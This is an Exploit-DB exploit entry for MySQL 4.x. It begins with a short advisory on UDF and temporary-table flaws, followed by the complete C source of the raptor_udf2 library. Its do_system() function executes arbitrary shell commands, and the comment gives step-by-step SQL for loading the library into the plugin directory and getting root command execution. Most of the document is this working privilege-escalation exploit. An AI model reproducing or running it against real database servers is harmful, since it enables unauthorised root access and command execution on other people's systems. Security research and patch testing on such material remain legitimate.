MySQL 4.x - CREATE Temporary TABLE Symlink Privilege Escalation

EDB-ID:

25211


Platform:

Multiple

Published:

2006-01-18

source: http://www.securityfocus.com/bid/12781/info
  
MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker. The following individual issues are reported:
  
- Insecure temporary file-creation vulnerability. Reports indicate that an attacker with 'CREATE TEMPORARY TABLE' privileges on an affected installation may leverage this vulnerability to corrupt files with the privileges of the MySQL process.
  
- Input-validation vulnerability. Remote attackers with INSERT and DELETE privileges on the 'mysql' administrative database can exploit this. Reports indicate that this issue may be leveraged to load and execute a malicious library in the context of the MySQL process.
  
- Remote arbitrary-code execution vulnerability. Reportedly, the vulnerability may be triggered by employing the 'CREATE FUNCTION' statement to manipulate functions to control sensitive data structures. This issue may be exploited to execute arbitrary code in the context of the database process.
  
These issues are reported to exist in MySQL versions prior to MySQL 4.0.24 and 4.1.10a. 

/*
 * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
 *
 * raptor_udf2.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * This is an helper dynamic library for local privilege escalation 
through
 * MySQL run with root privileges (very bad idea!), slightly modified to 
work 
 * with newer versions of the open-source database. Tested on MySQL 
4.1.14.
 *
 * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
 *
 * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include 
fixes
 * for the security vulnerabilities in the handling of User Defined 
Functions
 * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For 
further
 * details, please refer to:
 *
 * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
 * http://www.wisec.it/vulns.php?page=4
 * http://www.wisec.it/vulns.php?page=5
 * http://www.wisec.it/vulns.php?page=6
 *
 * "UDFs should have at least one symbol defined in addition to the xxx 
symbol 
 * that corresponds to the main xxx() function. These auxiliary symbols 
 * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), 
and 
 * xxx_add() functions". -- User Defined Functions Security Precautions 
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf2.c
 * $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so 
raptor_udf2.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo 
values(load_file('/home/raptor/raptor_udf2.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
 * mysql> create function do_system returns integer soname 
'raptor_udf2.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+----------------+----------+
 * | name      | ret | dl             | type     |
 * +-----------+-----+----------------+----------+
 * | do_system |   2 | raptor_udf2.so | function |
 * +-----------+-----+----------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
	unsigned int		arg_count;	// number of arguments
	enum Item_result	*arg_type;	// pointer to item_result
	char 			**args;		// pointer to arguments
	unsigned long		*lengths;	// length of string args
	char			*maybe_null;	// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
	char			maybe_null;	// 1 if func can return 
NULL
	unsigned int		decimals;	// for real functions
	unsigned long 		max_length;	// for string functions
	char			*ptr;		// free ptr for func data
	char			const_item;	// 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char 
*error)
{
	if (args->arg_count != 1)
		return(0);

	system(args->args[0]);

	return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
	return(0);
}